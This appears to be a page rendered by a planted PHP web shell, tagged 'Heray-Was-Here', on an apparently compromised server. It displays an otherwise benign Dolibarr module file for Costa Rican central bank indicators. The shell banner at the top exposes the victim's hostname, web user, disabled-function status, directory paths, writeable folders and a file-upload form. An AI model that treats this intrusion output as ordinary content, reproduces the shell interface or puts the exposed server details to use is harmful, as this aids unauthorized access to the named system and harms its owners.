Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/htdocs/custom/crindicadores/core/modules/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/htdocs/custom/crindicadores/core/modules/modCRIndicadores.class.php
<?php
/* Copyright (C) 2017  Josep Lluís Amador <joseplluis@lliuretic.cat>
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

/**
 * \defgroup    mymodule    MyModule module
 * \brief       MyModule module descriptor.
 *
 * Put detailed description here.
 */

/**
 * \file        core/modules/modSmsPubli.class.php
 * \ingroup     smspubli
 * \brief       Module for send SMS by SMSpubli.
 *
 * Put detailed description here.
 */

include_once DOL_DOCUMENT_ROOT . "/core/modules/DolibarrModules.class.php";


	
/**
 * Description and activation class for module SmsPubli
 */
class modCRIndicadores extends DolibarrModules
{
	/** @var DoliDB Database handler */
	public $db;
	public $numero = 500999;
	public $rights_class = 'CRIndicadores';
	public $family = 'interface';
	public $module_position = 500;
	public $name = "BCCR Indicadores";	
	public $description = "Indicadores Economicos del BCCR";
	public $descriptionlong = "Indicadores<br />
	                           BCCR.";
	public $editor_name = "Randall Mora";
	public $editor_url = "https://moracedeno.ddns.net";
	public $version = '1.0';
	public $const_name = 'MAIN_MODULE_CRINDICADORES';
	public $picto = 'exchange';


	/** @var array Define module parts */
	public $module_parts = array(
		'crindicadores' => true,
		'triggers' => false,
		'login' => false,
		'substitutions' => false,
		'menus' => false,
		'theme' => false,
		'tpl' => false,
		'barcode' => false,
		'models' => false,
		'hooks' => array(),
		'dir' => array(),
		'workflow' => array(),
	);
 
	public $config_page_url = 'setup.php@crindicadores';
	
	public $hidden = false; /** @var bool Control module visibility */
	public $depends = array('always'=>'modCron'); /** @var string[] List of class names of modules to enable when this one is enabled */
	public $requiredby = array(); /** @var string[] List of class names of modules to disable when this one is disabled */
	public $conflictwith = array(); /** @var string List of class names of modules this module conflicts with */
	public $phpmin = array(5, 6); /** @var int[] Minimum PHP version required by this module */
	public $need_dolibarr_version = array(13, 1); /** @var int[] Minimum Dolibarr version required by this module */

	public $langfiles = array('crindicadores@crindicadores');
	
	
	/** @var array Indexed list of constants options */
	public $const = array(
	);
	
	//		0 => array(
	//		'MAIN_SMS_SENDMODE', /** @var string Constant name */
	//		'chaine',
	//		'smspubli', /** @var string Constant initial value */
	//		'SMS send mode with SMS Publi', /** @var string Constant description */
	//		false, /** @var bool Constant visibility */
	//		'current', /* Multi-company entities: 'current' or 'allentities' */
	//		false /** @var bool Delete constant when module is disabled */
	//	)
	
	public $tabs = array();
	public $rights = array();
	public $menu = array();

	// Boxes/Widgets
	// Add here list of php file(s) stored in wvmoduloprueba/core/boxes that contains a class to show a widget.
    public $boxes = array(
         0 => array(
             'file' => 'CRIndicadoreswidget.php@crindicadores',
             'note' => 'Indicadores Economicos BCCR',
             'enabledbydefaulton' => 'Home',
         ),
       //  ...
    );

	public $cronjobs = array(
		0=>array('label'=>'BCCR collector', 'priority'=>50, 'jobtype'=>'method', 'class'=>'/crindicadores/class/crindicadores.class.php', 'objectname'=>'crindicadores', 'method'=>'getIndicadores', 'parameters'=>'', 'comment'=>'Comment', 'frequency'=>5, 'unitfrequency'=>60, 'status'=>1, 'test'=>'$conf->crindicadores->enabled')
	);

	/** @var bool Module only enabled / disabled in main company when multi-company is in use */
	public $core_enabled = false;
	// @codingStandardsIgnoreEnd



	/**
	 * Constructor. Define names, constants, directories, boxes, permissions
	 *
	 * @param DoliDB $db Database handler
	 */
	public function __construct($db)
	{
		global $langs, $conf;
		// DolibarrModules is abstract in Dolibarr < 3.8
		if (is_callable('parent::__construct')) {
			parent::__construct($db);
		} else {
			global $db;
			$this->db = $db;
		}
		
		
		// Permissions		
		$this->rights[]=array(
			0 => 50099901,
			1 => 'GET Indicadores',
			3 => 0,
			4 => 'get'
		);
		
		// Menu entries
		$this->menu[]=array(
			'fk_menu'=>'fk_mainmenu=tools',
			'type'=>'left',
			'title'=>'GetIndicadores',
			'mainmenu'=>'tools',
			'leftmenu'=>'crindicadores',
			'url'=>'/crindicadores/get.php',
			'langs'=>'crindicadores@crindicadores',
			'position'=>100,
			'enabled'=>'$conf->crindicadores->enabled',
			'perms'=>'$user->rights->crindicadores->get',
			'target'=>'',
			'user'=>0
		);

	}
	


	
	/**
	 * Function called when module is enabled.
	 * The init function add constants, boxes, permissions and menus
	 * (defined in constructor) into Dolibarr database.
	 * It also creates data directories
	 *
	 * @param string $options Options when enabling module ('', 'noboxes')
	 * @return int 1 if OK, 0 if KO
	 */
	public function init($options = '')
	{
		$sql = array();
		$result = $this->loadTables();
		return $this->_init($sql, $options);
	}
	
	
	
	
	/**
	 * Create tables, keys and data required by module
	 * Files llx_table1.sql, llx_table1.key.sql llx_data.sql with create table, create keys
	 * and create data commands must be stored in directory /mymodule/sql/
	 * This function is called by this->init
	 *
	 * @return int <=0 if KO, >0 if OK
	 */
	private function loadTables()
	{
		//return $this->_load_tables('/smspubli/sql/');
	}
	
	
	
	
	/**
	 * Function called when module is disabled.
	 * Remove from database constants, boxes and permissions from Dolibarr database.
	 * Data directories are not deleted
	 *
	 * @param string $options Options when enabling module ('', 'noboxes')
	 * @return int 1 if OK, 0 if KO
	 */
	public function remove($options = '')
	{
		$sql = array();
		$sql[] = 'DELETE FROM '.MAIN_DB_PREFIX.'const WHERE name LIKE "MAIN_MODULE_CRINDICADORES%"';
		$sql[] = 'DELETE FROM '.MAIN_DB_PREFIX.'const WHERE name LIKE "CRINDICADORES%"';
		return $this->_remove($sql, $options);
	}
	
}

?>

Hry